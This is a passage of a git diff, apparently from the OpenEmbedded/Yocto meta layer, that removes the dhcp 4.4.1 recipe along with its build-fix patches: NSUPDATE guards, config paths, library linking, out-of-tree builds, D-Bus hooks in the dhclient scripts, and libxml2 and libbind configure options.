diff --git a/meta/recipes-connectivity/dhcp/dhcp/0001-Fix-a-NSUPDATE-compiling-issue.patch b/meta/recipes-connectivity/dhcp/dhcp/0001-Fix-a-NSUPDATE-compiling-issue.patch
deleted file mode 100644
index f12a112fcf..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0001-Fix-a-NSUPDATE-compiling-issue.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From a59cb98a473caa2afd64d7ae368480b6e9f91b3f Mon Sep 17 00:00:00 2001
-From: Ming Liu <liu.ming50@gmail.com>
-Date: Tue, 14 May 2019 11:07:15 +0200
-Subject: [PATCH] Fix a NSUPDATE compiling issue
-
-Upstream-Status: Pending [Patch sent to: https://gitlab.isc.org/isc-projects/dhcp/issues/16]
-
-A following error was observed when NSUPDATE is not defined:
-| omapip/isclib.c: In function 'dns_client_init':
-| omapip/isclib.c:356:18: error: 'dhcp_context_t {aka struct dhcp_context}' has no member named 'dnsclient'
-| if (dhcp_gbl_ctx.dnsclient == NULL) {
-| ^
-| omapip/isclib.c:363:24: error: 'dhcp_context_t {aka struct dhcp_context}' has no member named 'dnsclient'
-| &dhcp_gbl_ctx.dnsclient,
-| ^
-| omapip/isclib.c:364:24: error: 'dhcp_context_t {aka struct dhcp_context}' has no member named 'use_local4'
-| (dhcp_gbl_ctx.use_local4 ?
-| ^
-| omapip/isclib.c:365:25: error: 'dhcp_context_t {aka struct dhcp_context}' has no member named 'local4_sockaddr'
-| &dhcp_gbl_ctx.local4_sockaddr
-| ^
-| omapip/isclib.c:367:24: error: 'dhcp_context_t {aka struct dhcp_context}' has no member named 'use_local6'
-| (dhcp_gbl_ctx.use_local6 ?
-| ^
-| omapip/isclib.c:368:25: error: 'dhcp_context_t {aka struct dhcp_context}' has no member named 'local6_sockaddr'
-| &dhcp_gbl_ctx.local6_sockaddr
-
-Fix it by adding NSUPDATE conditional checking.
-
-Signed-off-by: Ming Liu <liu.ming50@gmail.com>
----
- includes/omapip/isclib.h | 2 ++
- omapip/isclib.c | 2 ++
- 2 files changed, 4 insertions(+)
-
-diff --git a/includes/omapip/isclib.h b/includes/omapip/isclib.h
-index 538b927..6c20584 100644
---- a/includes/omapip/isclib.h
-+++ b/includes/omapip/isclib.h
-@@ -141,6 +141,8 @@ void isclib_cleanup(void);
- void dhcp_signal_handler(int signal);
- extern int shutdown_signal;
-
-+#if defined (NSUPDATE)
- isc_result_t dns_client_init();
-+#endif
-
- #endif /* ISCLIB_H */
-diff --git a/omapip/isclib.c b/omapip/isclib.c
-index db3b895..ce4b4a1 100644
---- a/omapip/isclib.c
-+++ b/omapip/isclib.c
-@@ -351,6 +351,7 @@ void dhcp_signal_handler(int signal) {
- }
- }
-
-+#if defined (NSUPDATE)
- isc_result_t dns_client_init() {
- isc_result_t result;
- if (dhcp_gbl_ctx.dnsclient == NULL) {
-@@ -387,3 +388,4 @@ isc_result_t dns_client_init() {
-
- return ISC_R_SUCCESS;
- }
-+#endif
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch b/meta/recipes-connectivity/dhcp/dhcp/0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch
deleted file mode 100644
index d1b57f0bb4..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 7cc29144535a622fc671dc86eb1da65b0473a7c4 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 16:14:22 +0800
-Subject: [PATCH 01/11] define macro _PATH_DHCPD_CONF and _PATH_DHCLIENT_CONF
-
-Upstream-Status: Inappropriate [OE specific]
-
-Rebase to 4.3.6
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- includes/site.h | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-Index: dhcp-4.4.1/includes/site.h
-===================================================================
---- dhcp-4.4.1.orig/includes/site.h
-+++ dhcp-4.4.1/includes/site.h
-@@ -148,7 +148,8 @@
- /* Define this if you want the dhcpd.conf file to go somewhere other than
- the default location. By default, it goes in /etc/dhcpd.conf. */
-
--/* #define _PATH_DHCPD_CONF "/etc/dhcpd.conf" */
-+#define _PATH_DHCPD_CONF "/etc/dhcp/dhcpd.conf"
-+#define _PATH_DHCLIENT_CONF "/etc/dhcp/dhclient.conf"
-
- /* Network API definitions. You do not need to choose one of these - if
- you don't choose, one will be chosen for you in your system's config
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0001-master-Added-includes-of-new-BIND9-compatibility-hea.patch b/meta/recipes-connectivity/dhcp/dhcp/0001-master-Added-includes-of-new-BIND9-compatibility-hea.patch
deleted file mode 100644
index 1bc1422475..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0001-master-Added-includes-of-new-BIND9-compatibility-hea.patch
+++ /dev/null
@@ -1,79 +0,0 @@
-From 8194daabfd590f17825f0c61e9534bee5c99cc86 Mon Sep 17 00:00:00 2001
-From: Thomas Markwalder <tmark@isc.org>
-Date: Fri, 14 Sep 2018 13:41:41 -0400
-Subject: [master] Added includes of new BIND9 compatibility headers
-
- Merges in rt48072.
-
-Upstream-Status: Backport
-Signed-off-by: Adrian Bunk <bunk@stusta.de>
-
-diff --git a/includes/omapip/isclib.h b/includes/omapip/isclib.h
-index 75a87ff6..538b927f 100644
---- a/includes/omapip/isclib.h
-+++ b/includes/omapip/isclib.h
-@@ -48,6 +48,9 @@
- #include <string.h>
- #include <netdb.h>
-
-+#include <isc/boolean.h>
-+#include <isc/int.h>
-+
- #include <isc/buffer.h>
- #include <isc/lex.h>
- #include <isc/lib.h>
-diff --git a/includes/omapip/result.h b/includes/omapip/result.h
-index 91243e1b..860298f6 100644
---- a/includes/omapip/result.h
-+++ b/includes/omapip/result.h
-@@ -26,6 +26,7 @@
- #ifndef DHCP_RESULT_H
- #define DHCP_RESULT_H 1
-
-+#include <isc/boolean.h>
- #include <isc/lang.h>
- #include <isc/resultclass.h>
- #include <isc/types.h>
-diff --git a/server/dhcpv6.c b/server/dhcpv6.c
-index a7110f98..cde4f617 100644
---- a/server/dhcpv6.c
-+++ b/server/dhcpv6.c
-@@ -1034,7 +1034,8 @@ void check_pool6_threshold(struct reply_state *reply,
- shared_name,
- inet_ntop(AF_INET6, &lease->addr,
- tmp_addr, sizeof(tmp_addr)),
-- used, count);
-+ (long long unsigned)(used),
-+ (long long unsigned)(count));
- }
- return;
- }
-@@ -1066,7 +1067,8 @@ void check_pool6_threshold(struct reply_state *reply,
- "address: %s; high threshold %d%% %llu/%llu.",
- shared_name,
- inet_ntop(AF_INET6, &lease->addr, tmp_addr, sizeof(tmp_addr)),
-- poolhigh, used, count);
-+ poolhigh, (long long unsigned)(used),
-+ (long long unsigned)(count));
-
- /* handle the low threshold now, if we don't
- * have one we default to 0. */
-@@ -1436,12 +1438,15 @@ pick_v6_address(struct reply_state *reply)
- log_debug("Unable to pick client address: "
- "no addresses available - shared network %s: "
- " 2^64-1 < total, %llu active, %llu abandoned",
-- shared_name, active - abandoned, abandoned);
-+ shared_name, (long long unsigned)(active - abandoned),
-+ (long long unsigned)(abandoned));
- } else {
- log_debug("Unable to pick client address: "
- "no addresses available - shared network %s: "
- "%llu total, %llu active, %llu abandoned",
-- shared_name, total, active - abandoned, abandoned);
-+ shared_name, (long long unsigned)(total),
-+ (long long unsigned)(active - abandoned),
-+ (long long unsigned)(abandoned));
- }
-
- return ISC_R_NORESOURCES;
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0002-dhclient-dbus.patch b/meta/recipes-connectivity/dhcp/dhcp/0002-dhclient-dbus.patch
deleted file mode 100644
index 101c33f677..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0002-dhclient-dbus.patch
+++ /dev/null
@@ -1,117 +0,0 @@
-From be7540d31c356e80ee02e90e8bf162b7ac6e5ba5 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 14:56:56 +0800
-Subject: [PATCH 02/11] dhclient dbus
-
-Upstream-Status: Inappropriate [distribution]
-
-Rebase to 4.3.6
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- client/scripts/bsdos | 5 +++++
- client/scripts/freebsd | 5 +++++
- client/scripts/linux | 5 +++++
- client/scripts/netbsd | 5 +++++
- client/scripts/openbsd | 5 +++++
- client/scripts/solaris | 5 +++++
- 6 files changed, 30 insertions(+)
-
-diff --git a/client/scripts/bsdos b/client/scripts/bsdos
-index d69d0d8..095b143 100755
---- a/client/scripts/bsdos
-+++ b/client/scripts/bsdos
-@@ -45,6 +45,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/freebsd b/client/scripts/freebsd
-index 8f3e2a2..ad7fb44 100755
---- a/client/scripts/freebsd
-+++ b/client/scripts/freebsd
-@@ -89,6 +89,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/linux b/client/scripts/linux
-index 5fb1612..3d447b6 100755
---- a/client/scripts/linux
-+++ b/client/scripts/linux
-@@ -174,6 +174,11 @@ exit_with_hooks() {
- exit_status=$?
- fi
-
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/netbsd b/client/scripts/netbsd
-index 07383b7..aaba8e8 100755
---- a/client/scripts/netbsd
-+++ b/client/scripts/netbsd
-@@ -45,6 +45,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/openbsd b/client/scripts/openbsd
-index e7f4746..56b980c 100644
---- a/client/scripts/openbsd
-+++ b/client/scripts/openbsd
-@@ -45,6 +45,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/solaris b/client/scripts/solaris
-index af553b9..4a2aa69 100755
---- a/client/scripts/solaris
-+++ b/client/scripts/solaris
-@@ -26,6 +26,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
---
-1.8.3.1
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0003-link-with-lcrypto.patch b/meta/recipes-connectivity/dhcp/dhcp/0003-link-with-lcrypto.patch
deleted file mode 100644
index 5b35933a54..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0003-link-with-lcrypto.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From d80bd792323dbd56269309f85b4506eb6b1b60e9 Mon Sep 17 00:00:00 2001
-From: Andrei Gherzan <andrei@gherzan.ro>
-Date: Tue, 15 Aug 2017 15:05:47 +0800
-Subject: [PATCH 03/11] link with lcrypto
-
-From 4.2.0 final release, -lcrypto check was removed and we compile
-static libraries
-from bind that are linked to libcrypto. This is why i added a patch in
-order to add
--lcrypto to LIBS.
-
-Upstream-Status: Pending
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-
-Rebase to 4.3.6
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.ac | 4 ++++
- 1 file changed, 4 insertions(+)
-
-Index: dhcp-4.4.1/configure.ac
-===================================================================
---- dhcp-4.4.1.orig/configure.ac
-+++ dhcp-4.4.1/configure.ac
-@@ -612,6 +612,10 @@ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[]],
- # Look for optional headers.
- AC_CHECK_HEADERS(sys/socket.h net/if_dl.h net/if6.h regex.h)
-
-+# find an MD5 library
-+AC_SEARCH_LIBS(MD5_Init, [crypto])
-+AC_SEARCH_LIBS(MD5Init, [crypto])
-+
- # Solaris needs some libraries for functions
- AC_SEARCH_LIBS(socket, [socket])
- AC_SEARCH_LIBS(inet_ntoa, [nsl])
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0004-Fix-out-of-tree-builds.patch b/meta/recipes-connectivity/dhcp/dhcp/0004-Fix-out-of-tree-builds.patch
deleted file mode 100644
index b71c93dd6d..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0004-Fix-out-of-tree-builds.patch
+++ /dev/null
@@ -1,93 +0,0 @@
-From cccec0344d68dac4100b6f260ee24e7c2da9dfda Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 15:08:22 +0800
-Subject: [PATCH 04/11] Fix out of tree builds
-
-Upstream-Status: Pending
-
-RP 2013/03/21
-
-Rebase to 4.3.6
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- client/Makefile.am | 4 ++--
- common/Makefile.am | 3 ++-
- dhcpctl/Makefile.am | 2 ++
- omapip/Makefile.am | 1 +
- relay/Makefile.am | 2 +-
- server/Makefile.am | 2 +-
- 6 files changed, 9 insertions(+), 5 deletions(-)
-
-Index: dhcp-4.4.1/common/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/common/Makefile.am
-+++ dhcp-4.4.1/common/Makefile.am
-@@ -1,4 +1,5 @@
--AM_CPPFLAGS = -I$(top_srcdir) -DLOCALSTATEDIR='"@localstatedir@"'
-+AM_CPPFLAGS = -I$(top_srcdir)/includes -I$(top_srcdir) -DLOCALSTATEDIR='"@localstatedir@"'
-+
- AM_CFLAGS = $(LDAP_CFLAGS)
-
- lib_LIBRARIES = libdhcp.a
-Index: dhcp-4.4.1/dhcpctl/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/dhcpctl/Makefile.am
-+++ dhcp-4.4.1/dhcpctl/Makefile.am
-@@ -3,6 +3,8 @@ BINDLIBDNSDIR=@BINDLIBDNSDIR@
- BINDLIBISCCFGDIR=@BINDLIBISCCFGDIR@
- BINDLIBISCDIR=@BINDLIBISCDIR@
-
-+AM_CPPFLAGS = -I$(top_srcdir)/includes -I$(top_srcdir)
-+
- bin_PROGRAMS = omshell
- lib_LIBRARIES = libdhcpctl.a
- noinst_PROGRAMS = cltest
-Index: dhcp-4.4.1/server/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/server/Makefile.am
-+++ dhcp-4.4.1/server/Makefile.am
-@@ -4,7 +4,7 @@
- # production code. Sadly, we are not there yet.
- SUBDIRS = . tests
-
--AM_CPPFLAGS = -I.. -DLOCALSTATEDIR='"@localstatedir@"'
-+AM_CPPFLAGS = -I$(top_srcdir) -DLOCALSTATEDIR='"@localstatedir@"' -I$(top_srcdir)/includes
-
- dist_sysconf_DATA = dhcpd.conf.example
- sbin_PROGRAMS = dhcpd
-Index: dhcp-4.4.1/client/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/client/Makefile.am
-+++ dhcp-4.4.1/client/Makefile.am
-@@ -5,7 +5,7 @@
- SUBDIRS = . tests
-
- AM_CPPFLAGS = -DCLIENT_PATH='"PATH=$(sbindir):/sbin:/bin:/usr/sbin:/usr/bin"'
--AM_CPPFLAGS += -DLOCALSTATEDIR='"$(localstatedir)"'
-+AM_CPPFLAGS += -DLOCALSTATEDIR='"$(localstatedir)"' -I$(top_srcdir)/includes
-
- dist_sysconf_DATA = dhclient.conf.example
- sbin_PROGRAMS = dhclient
-Index: dhcp-4.4.1/omapip/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/omapip/Makefile.am
-+++ dhcp-4.4.1/omapip/Makefile.am
-@@ -2,6 +2,7 @@ BINDLIBIRSDIR=@BINDLIBIRSDIR@
- BINDLIBDNSDIR=@BINDLIBDNSDIR@
- BINDLIBISCCFGDIR=@BINDLIBISCCFGDIR@
- BINDLIBISCDIR=@BINDLIBISCDIR@
-+AM_CPPFLAGS = -I$(top_srcdir)/includes
-
- lib_LIBRARIES = libomapi.a
- noinst_PROGRAMS = svtest
-Index: dhcp-4.4.1/relay/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/relay/Makefile.am
-+++ dhcp-4.4.1/relay/Makefile.am
-@@ -1,4 +1,4 @@
--AM_CPPFLAGS = -DLOCALSTATEDIR='"@localstatedir@"'
-+AM_CPPFLAGS = -DLOCALSTATEDIR='"@localstatedir@"' -I$(top_srcdir)/includes
-
- sbin_PROGRAMS = dhcrelay
- dhcrelay_SOURCES = dhcrelay.c
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch b/meta/recipes-connectivity/dhcp/dhcp/0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch
deleted file mode 100644
index dd56381b1d..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 2e8ff0e4f6d39e346ea86b8c514ab4ccc78fa359 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 15:24:14 +0800
-Subject: [PATCH 05/11] dhcp-client: fix invoke dhclient-script failed on
- Read-only file system
-
-In read-only file system, '/etc' is on the readonly partition,
-and '/etc/resolv.conf' is symlinked to a separate writable
-partition.
-
-In this situation, we create temp files 'resolv.conf.dhclient-new'
-in /tmp dir.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- client/scripts/linux | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/client/scripts/linux b/client/scripts/linux
-index 3d447b6..3122a75 100755
---- a/client/scripts/linux
-+++ b/client/scripts/linux
-@@ -40,7 +40,7 @@ make_resolv_conf() {
- # DHCPv4
- if [ -n "$new_domain_search" ] || [ -n "$new_domain_name" ] ||
- [ -n "$new_domain_name_servers" ]; then
-- new_resolv_conf=/etc/resolv.conf.dhclient-new
-+ new_resolv_conf=/tmp/resolv.conf.dhclient-new
- rm -f $new_resolv_conf
-
- if [ -n "$new_domain_name" ]; then
---
-1.8.3.1
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch b/meta/recipes-connectivity/dhcp/dhcp/0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch
deleted file mode 100644
index feb0754fff..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 7107511fd209f08f9a96f8938041ae48f3295895 Mon Sep 17 00:00:00 2001
-From: Christopher Larson <chris_larson@mentor.com>
-Date: Tue, 15 Aug 2017 16:17:49 +0800
-Subject: [PATCH 07/11] Add configure argument to make the libxml2 dependency
- explicit and determinisitic.
-
-Upstream-Status: Pending
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-
-Rebase to 4.3.6
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.ac | 11 +++++++++++
- 1 file changed, 11 insertions(+)
-
-Index: dhcp-4.4.1/configure.ac
-===================================================================
---- dhcp-4.4.1.orig/configure.ac
-+++ dhcp-4.4.1/configure.ac
-@@ -642,6 +642,17 @@ if test "$have_nanosleep" = "rt"; then
- LIBS="-lrt $LIBS"
- fi
-
-+AC_ARG_WITH(libxml2,
-+ AS_HELP_STRING([--with-libxml2], [link against libxml2. this is needed if bind was built with xml2 support enabled]),
-+ with_libxml2="$withval", with_libxml2="no")
-+
-+if test x$with_libxml2 != xno; then
-+ AC_SEARCH_LIBS(xmlTextWriterStartElement, [xml2],
-+ [if test x$with_libxml2 != xauto; then
-+ AC_MSG_FAILURE([*** Cannot find xmlTextWriterStartElement with -lxml2 and libxml2 was requested])
-+ fi])
-+fi
-+
- # check for /dev/random (declares HAVE_DEV_RANDOM)
- AC_MSG_CHECKING(for random device)
- AC_ARG_WITH(randomdev,
-Index: dhcp-4.4.1/configure.ac+lt
-===================================================================
---- dhcp-4.4.1.orig/configure.ac+lt
-+++ dhcp-4.4.1/configure.ac+lt
-@@ -909,6 +909,18 @@ elif test "$want_libtool" = "yes" -a "$u
- fi
- AM_CONDITIONAL(INSTALL_BIND, test "$want_install_bind" = "yes")
-
-+AC_ARG_WITH(libxml2,
-+ AS_HELP_STRING([--with-libxml2], [link against libxml2. this is needed if bind was built with xml2 support enabled]),
-+ with_libxml2="$withval", with_libxml2="no")
-+
-+if test x$with_libxml2 != xno; then
-+ AC_SEARCH_LIBS(xmlTextWriterStartElement, [xml2],,
-+ [if test x$with_libxml2 != xauto; then
-+ AC_MSG_FAILURE([*** Cannot find xmlTextWriterStartElement with -lxml2 and libxml2 was requested])
-+ fi])
-+fi
-+
-+
- # OpenLDAP support.
- AC_ARG_WITH(ldap,
- AS_HELP_STRING([--with-ldap],[enable OpenLDAP support in dhcpd (default is no)]),
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0009-remove-dhclient-script-bash-dependency.patch b/meta/recipes-connectivity/dhcp/dhcp/0009-remove-dhclient-script-bash-dependency.patch
deleted file mode 100644
index 912b6d6312..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0009-remove-dhclient-script-bash-dependency.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From f3f8b7726e50e24ef3edf5fa5a17e31d39118d7e Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 15 Aug 2017 15:49:31 +0800
-Subject: [PATCH 09/11] remove dhclient-script bash dependency
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-
-Rebase to 4.3.6
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- client/scripts/linux | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/client/scripts/linux b/client/scripts/linux
-index 3122a75..1712d7d 100755
---- a/client/scripts/linux
-+++ b/client/scripts/linux
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
- # dhclient-script for Linux. Dan Halbert, March, 1997.
- # Updated for Linux 2.[12] by Brian J. Murrell, January 1999.
- # No guarantees about this. I'm a novice at the details of Linux
---
-1.8.3.1
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0012-dhcp-correct-the-intention-for-xml2-lib-search.patch b/meta/recipes-connectivity/dhcp/dhcp/0012-dhcp-correct-the-intention-for-xml2-lib-search.patch
deleted file mode 100644
index 39ba65fbc4..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0012-dhcp-correct-the-intention-for-xml2-lib-search.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 501543b3ef715488a142e3d301ff2733aa33eec7 Mon Sep 17 00:00:00 2001
-From: Awais Belal <awais_belal@mentor.com>
-Date: Wed, 25 Oct 2017 21:00:05 +0500
-Subject: [PATCH] dhcp: correct the intention for xml2 lib search
-
-A missing case breaks the build when libxml2 is
-required and found appropriately. The third argument
-to the function AC_SEARCH_LIB is action-if-found which
-was mistakenly been used for the case where the library
-is not found and hence breaks the configure phase
-where it shoud actually pass.
-We now pass on silently when action-if-found is
-executed.
-
-Upstream-Status: Pending
-
-Signed-off-by: Awais Belal <awais_belal@mentor.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: dhcp-4.4.1/configure.ac
-===================================================================
---- dhcp-4.4.1.orig/configure.ac
-+++ dhcp-4.4.1/configure.ac
-@@ -647,7 +647,7 @@ AC_ARG_WITH(libxml2,
- with_libxml2="$withval", with_libxml2="no")
-
- if test x$with_libxml2 != xno; then
-- AC_SEARCH_LIBS(xmlTextWriterStartElement, [xml2],
-+ AC_SEARCH_LIBS(xmlTextWriterStartElement, [xml2],,
- [if test x$with_libxml2 != xauto; then
- AC_MSG_FAILURE([*** Cannot find xmlTextWriterStartElement with -lxml2 and libxml2 was requested])
- fi])
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0013-fixup_use_libbind.patch b/meta/recipes-connectivity/dhcp/dhcp/0013-fixup_use_libbind.patch
deleted file mode 100644
index fcec010bd0..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0013-fixup_use_libbind.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-lib and include path is hardcoded for use_libbind
-
-use libdir and includedir vars
-
-Upstream-Status: Pending
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
-Index: dhcp-4.4.1/configure.ac+lt
-===================================================================
---- dhcp-4.4.1.orig/configure.ac+lt
-+++ dhcp-4.4.1/configure.ac+lt
-@@ -801,22 +801,22 @@ no)
- if test ! -d "$use_libbind"; then
- AC_MSG_ERROR([Cannot find bind directory at $use_libbind])
- fi
-- if test ! -d "$use_libbind/include" -o \
-- ! -f "$use_libbind/include/isc/buffer.h"
-+ if test ! -d "$use_libbind/$includedir" -o \
-+ ! -f "$use_libbind/$includedir/isc/buffer.h"
- then
-- AC_MSG_ERROR([Cannot find bind includes at $use_libbind/include])
-+ AC_MSG_ERROR([Cannot find bind includes at $use_libbind/$includedir])
- fi
-- if test ! -d "$use_libbind/lib" -o \
-- \( ! -f "$use_libbind/lib/libisc.a" -a \
-- ! -f "$use_libbind/lib/libisc.la" \)
-+ if test ! -d "$use_libbind/$libdir" -o \
-+ \( ! -f "$use_libbind/$libdir/libisc.a" -a \
-+ ! -f "$use_libbind/$libdir/libisc.la" \)
- then
-- AC_MSG_ERROR([Cannot find bind libraries at $use_libbind/lib])
-+ AC_MSG_ERROR([Cannot find bind libraries at $use_libbind/$libdir])
- fi
- BINDDIR="$use_libbind"
-- BINDLIBIRSDIR="$BINDDIR/lib"
-- BINDLIBDNSDIR="$BINDDIR/lib"
-- BINDLIBISCCFGDIR="$BINDDIR/lib"
-- BINDLIBISCDIR="$BINDDIR/lib"
-+ BINDLIBIRSDIR="$BINDDIR/$libdir"
-+ BINDLIBDNSDIR="$BINDDIR/$libdir"
-+ BINDLIBISCCFGDIR="$BINDDIR/$libdir"
-+ BINDLIBISCDIR="$BINDDIR/$libdir"
- DISTCHECK_LIBBIND_CONFIGURE_FLAG="--with-libbind=$use_libbind"
- ;;
- esac
-@@ -856,14 +856,14 @@ AC_ARG_ENABLE(libtool,
-
- if test "$use_libbind" != "no"; then
- if test "$want_libtool" = "yes" -a \
-- ! -f "$use_libbind/lib/libisc.la"
-+ ! -f "$use_libbind/$libdir/libisc.la"
- then
-- AC_MSG_ERROR([Cannot find dynamic libraries at $use_libbind/lib])
-+ AC_MSG_ERROR([Cannot find dynamic libraries at $use_libbind/$libdir])
- fi
- if test "$want_libtool" = "no" -a \
-- ! -f "$use_libbind/lib/libisc.a"
-+ ! -f "$use_libbind/$libdir/libisc.a"
- then
-- AC_MSG_ERROR([Cannot find static libraries at $use_libbind/lib])
-+ AC_MSG_ERROR([Cannot find static libraries at $use_libbind/$libdir])
- fi
- fi
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp_4.4.1.bb b/meta/recipes-connectivity/dhcp/dhcp_4.4.1.bb
deleted file mode 100644
index 275961a603..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp_4.4.1.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-require dhcp.inc
-
-SRC_URI += "file://0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch \
- file://0002-dhclient-dbus.patch \
- file://0003-link-with-lcrypto.patch \
- file://0004-Fix-out-of-tree-builds.patch \
- file://0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch \
- file://0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch \
- file://0009-remove-dhclient-script-bash-dependency.patch \
- file://0012-dhcp-correct-the-intention-for-xml2-lib-search.patch \
